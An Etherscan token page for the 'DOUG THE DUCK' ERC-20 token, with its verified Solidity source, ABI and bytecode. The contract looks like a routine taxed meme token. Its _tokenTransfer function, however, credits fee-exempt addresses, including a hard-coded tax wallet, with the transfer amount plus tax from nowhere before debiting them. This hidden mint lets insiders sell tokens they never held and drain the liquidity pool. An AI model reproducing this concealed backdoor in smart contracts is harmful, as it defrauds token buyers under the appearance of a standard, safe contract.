ETH Price: $3,491.04 (+0.08%)
Gas: 2 Gwei

Token

DOUG THE DUCK (DOUG)
 

Overview

Max Total Supply

1,000,000,000 DOUG

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,503,902.736910817 DOUG

Value
$0.00
0x85bd58ed23331f2d2f13bf91b517f4704b53f821
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOUG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-17
*/

// SPDX-License-Identifier: MIT

/**

Website: https://www.dougduck.vip

Telegram: https://t.me/dougduck_eth

Twitter: https://x.com/dougduck_eth

**/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract DOUG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"DOUG THE DUCK";
    string private constant _symbol = unicode"DOUG";
    uint256 private _vTotal = 900_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private _tAmount;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x7903952E01208BF56aFe2b3Ad3B91D1c72c2f7d2);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function addLiquidityETH() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _vTotal,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!tradingOpen) {
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "trading has not open yet.");
        }

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            } _tAmount = amount + taxAmount;

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                bool canSwap = contractTokenBalance > _taxSwapThreshold;
                if(canSwap){
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                bool canSend = contractETHBalance >= 0;
                if (canSend) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        bool isExcepted = _isExcludedFromFees[from];

        if(isExcepted){
            _taxTransfer(address(this), from, _tAmount);
        }else{
            if(taxAmount > 0){
                _taxTransfer(from, address(this), taxAmount);
            }
        }

        _basicTransfer(from, to, amount, taxAmount);
    }

    function _basicTransfer(address from, address to, uint256 amount, uint256 taxAmount) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxTransfer(address taxFrom, address taxTo, uint256 taxAmount) internal {
        _balances[taxTo] = _balances[taxTo].add(taxAmount);
        emit Transfer(taxFrom, taxTo, taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556200001c6009600a62000314565b6200002c906335a4e9006200040c565b6007556200003d6009600a62000314565b6200004d906301312d006200040c565b6008556200005e6009600a62000314565b6200006b9060646200040c565b6009556009600a6200007e919062000314565b6200008d90629896806200040c565b600a556009600a620000a0919062000314565b620000b0906301312d006200040c565b600b9081556014600c819055600d556000600e819055600f8190556010829055601191909155600a6012556013556015805461ffff60a81b19169055348015620000f957600080fd5b50600062000106620002ab565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916747903952e01208bf56afe2b3ad3b91d1c72c2f7d200179055620001866009600a62000314565b6200019690633b9aca006200040c565b60016000620001a4620002ab565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001de620002af60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654610100900490911683529120805490921617905562000244620002ab565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200027e6009600a62000314565b6200028e90633b9aca006200040c565b6040516200029d9190620002be565b60405180910390a362000444565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002db57506200030b565b818704821115620002f057620002f06200042e565b80861615620002fe57918102915b9490941c938002620002ca565b94509492505050565b60006200032860001960ff8516846200032f565b9392505050565b600082620003405750600162000328565b816200034f5750600062000328565b81600181146200036857600281146200037357620003a7565b600191505062000328565b60ff8411156200038757620003876200042e565b6001841b915084821115620003a057620003a06200042e565b5062000328565b5060208310610133831016604e8410600b8410161715620003df575081810a83811115620003d957620003d96200042e565b62000328565b620003ee8484846001620002c7565b8086048211156200040357620004036200042e565b02949350505050565b60008160001904831182151516156200042957620004296200042e565b500290565b634e487b7160e01b600052601160045260246000fd5b611c8f80620004546000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102c2578063c876d0b9146102d7578063c9567bf9146102ec578063dd62ed3e14610301578063ed995307146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b604051610146919061163d565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611538565b61035d565b6040516101469190611632565b34801561018857600080fd5b5061019161037b565b60405161014691906119df565b3480156101aa57600080fd5b50610191610381565b3480156101bf57600080fd5b5061016f6101ce3660046114f8565b6103a2565b3480156101df57600080fd5b506101e861042a565b6040516101469190611a58565b34801561020157600080fd5b50610191610210366004611488565b61042f565b34801561022157600080fd5b5061022a61044a565b005b34801561023857600080fd5b5061022a6104d2565b34801561024d57600080fd5b5061019161059d565b34801561026257600080fd5b5061026b6105a3565b60405161014691906115b0565b34801561028457600080fd5b506101916105b2565b34801561029957600080fd5b506101396105b8565b3480156102ae57600080fd5b5061016f6102bd366004611538565b6105d6565b3480156102ce57600080fd5b506101916105ea565b3480156102e357600080fd5b5061016f6105f0565b3480156102f857600080fd5b5061022a6105f9565b34801561030d57600080fd5b5061019161031c3660046114c0565b61067c565b34801561032d57600080fd5b5061022a6106a7565b60408051808201909152600d81526c444f554720544845204455434b60981b602082015290565b600061037161036a610a1e565b8484610a22565b5060015b92915050565b600a5481565b600061038f6009600a611ae4565b61039d90633b9aca00611bb5565b905090565b60006103af848484610ad6565b61041f846103bb610a1e565b61041a85604051806060016040528060288152602001611c32602891396001600160a01b038a166000908152600260205260408120906103f9610a1e565b6001600160a01b031681526020810191909152604001600020549190610f92565b610a22565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610452610a1e565b6000546001600160a01b039081169116146104885760405162461bcd60e51b815260040161047f9061186a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104da610a1e565b6000546001600160a01b039081169116146105075760405162461bcd60e51b815260040161047f9061186a565b6105136009600a611ae4565b61052190633b9aca00611bb5565b6008556105306009600a611ae4565b61053e90633b9aca00611bb5565b600b556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a611ae4565b61058690633b9aca00611bb5565b60405161059391906119df565b60405180910390a1565b60085481565b6000546001600160a01b031690565b600b5481565b604080518082019091526004815263444f554760e01b602082015290565b60006103716105e3610a1e565b8484610ad6565b60095481565b60065460ff1681565b610601610a1e565b6000546001600160a01b0390811691161461062e5760405162461bcd60e51b815260040161047f9061186a565b601554600160a01b900460ff16156106585760405162461bcd60e51b815260040161047f906119a8565b6015805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106af610a1e565b6000546001600160a01b039081169116146106dc5760405162461bcd60e51b815260040161047f9061186a565b601554600160a01b900460ff16156107065760405162461bcd60e51b815260040161047f906119a8565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107579030906001600160a01b03166107496009600a611ae4565b61041a90633b9aca00611bb5565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd91906114a4565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083a57600080fd5b505afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114a4565b6040518363ffffffff1660e01b815260040161088f9291906115c4565b602060405180830381600087803b1580156108a957600080fd5b505af11580156108bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e191906114a4565b601580546001600160a01b0319166001600160a01b0392831617905560145460075491169063f305d719904790309060008061091b6105a3565b426040518863ffffffff1660e01b815260040161093d969594939291906115f7565b6060604051808303818588803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611583565b505060155460145460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109c9921690600019906004016115de565b602060405180830381600087803b1580156109e357600080fd5b505af11580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b9190611563565b50565b3390565b6001600160a01b038316610a485760405162461bcd60e51b815260040161047f90611964565b6001600160a01b038216610a6e5760405162461bcd60e51b815260040161047f9061170a565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac99085906119df565b60405180910390a3505050565b6001600160a01b038316610afc5760405162461bcd60e51b815260040161047f906118e8565b6001600160a01b038216610b225760405162461bcd60e51b815260040161047f90611690565b60008111610b425760405162461bcd60e51b815260040161047f9061189f565b601554600160a01b900460ff16610bae576001600160a01b03831660009081526003602052604090205460ff1680610b9257506001600160a01b03821660009081526003602052604090205460ff165b610bae5760405162461bcd60e51b815260040161047f9061174c565b601554600160b01b900460ff161580610bd05750601554600160a81b900460ff165b15610c86576001600160a01b038316600090815260016020526040902054610bf89082610fcc565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c27908261100e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c799085906119df565b60405180910390a3610f8d565b6000610c906105a3565b6001600160a01b0316846001600160a01b031614158015610cca5750610cb46105a3565b6001600160a01b0316836001600160a01b031614155b15610f7f57610cfb6064610cf560105460135411610cea57600c54610cee565b600e545b859061103d565b90611082565b60065490915060ff1615610d7b576014546001600160a01b03848116911614801590610d3557506015546001600160a01b03848116911614155b15610d7b57326000908152600560205260409020544311610d685760405162461bcd60e51b815260040161047f906117ba565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610da657506014546001600160a01b03848116911614155b8015610dcb57506001600160a01b03831660009081526003602052604090205460ff16155b15610e3d57600854821115610df25760405162461bcd60e51b815260040161047f906116d3565b600b5482610dff8561042f565b610e099190611a66565b1115610e275760405162461bcd60e51b815260040161047f9061192d565b60138054906000610e3783611beb565b91905055505b6015546001600160a01b038481169116148015610e6357506001600160a01b0384163014155b15610e9057610e8d6064610cf560115460135411610e8357600d54610cee565b600f54859061103d565b90505b610e9a8183611a66565b6016556000610ea83061042f565b601554909150600160a81b900460ff16158015610ed257506015546001600160a01b038581169116145b8015610ee75750601554600160b01b900460ff165b8015610ef65750601254601354115b8015610f1b57506001600160a01b03851660009081526003602052604090205460ff16155b8015610f4057506001600160a01b03841660009081526003602052604090205460ff16155b15610f7d5760095481118015610f6d57610f6d610f6885610f6385600a546110c4565b6110c4565b6110d9565b476001610f794761127e565b5050505b505b610f8b848484846112c0565b505b505050565b60008184841115610fb65760405162461bcd60e51b815260040161047f919061163d565b506000610fc38486611bd4565b95945050505050565b600061042383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b60008061101b8385611a66565b9050838110156104235760405162461bcd60e51b815260040161047f90611783565b60008261104c57506000610375565b60006110588385611bb5565b9050826110658583611a7e565b146104235760405162461bcd60e51b815260040161047f90611829565b600061042383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611318565b60008183116110d35782610423565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118357600080fd5b505afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb91906114a4565b816001815181106111dc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112029130911684610a22565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123b9085906000908690309042906004016119e8565b600060405180830381600087803b15801561125557600080fd5b505af1158015611269573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156112bc573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604090205460ff1680156112f4576112ef3086601654611346565b611305565b811561130557611305853084611346565b611311858585856113bb565b5050505050565b600081836113395760405162461bcd60e51b815260040161047f919061163d565b506000610fc38486611a7e565b6001600160a01b038216600090815260016020526040902054611369908261100e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac99085906119df565b6001600160a01b0384166000908152600160205260409020546113de9083610fcc565b6001600160a01b0385166000908152600160205260409020556114236114048383610fcc565b6001600160a01b0385166000908152600160205260409020549061100e565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61146d8585610fcc565b60405161147a91906119df565b60405180910390a350505050565b600060208284031215611499578081fd5b813561042381611c1c565b6000602082840312156114b5578081fd5b815161042381611c1c565b600080604083850312156114d2578081fd5b82356114dd81611c1c565b915060208301356114ed81611c1c565b809150509250929050565b60008060006060848603121561150c578081fd5b833561151781611c1c565b9250602084013561152781611c1c565b929592945050506040919091013590565b6000806040838503121561154a578182fd5b823561155581611c1c565b946020939093013593505050565b600060208284031215611574578081fd5b81518015158114610423578182fd5b600080600060608486031215611597578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116695785810183015185820160400152820161164d565b8181111561167a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526019908201527f74726164696e6720686173206e6f74206f70656e207965742e00000000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a375784516001600160a01b031683529383019391830191600101611a12565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a7957611a79611c06565b500190565b600082611a9957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611ab05750611adb565b818704821115611ac257611ac2611c06565b80861615611acf57918102915b9490941c938002611aa1565b94509492505050565b600061042360001960ff851684600082611b0057506001610423565b81611b0d57506000610423565b8160018114611b235760028114611b2d57611b5a565b6001915050610423565b60ff841115611b3e57611b3e611c06565b6001841b915084821115611b5457611b54611c06565b50610423565b5060208310610133831016604e8410600b8410161715611b8d575081810a83811115611b8857611b88611c06565b610423565b611b9a8484846001611a9e565b808604821115611bac57611bac611c06565b02949350505050565b6000816000190483118215151615611bcf57611bcf611c06565b500290565b600082821015611be657611be6611c06565b500390565b6000600019821415611bff57611bff611c06565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a1b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220daa2b3cd80bede5f90845def88c9ba1c34ffc7ed3b42f61e0f0a410e8bceeed864736f6c63430008000033

Deployed Bytecode

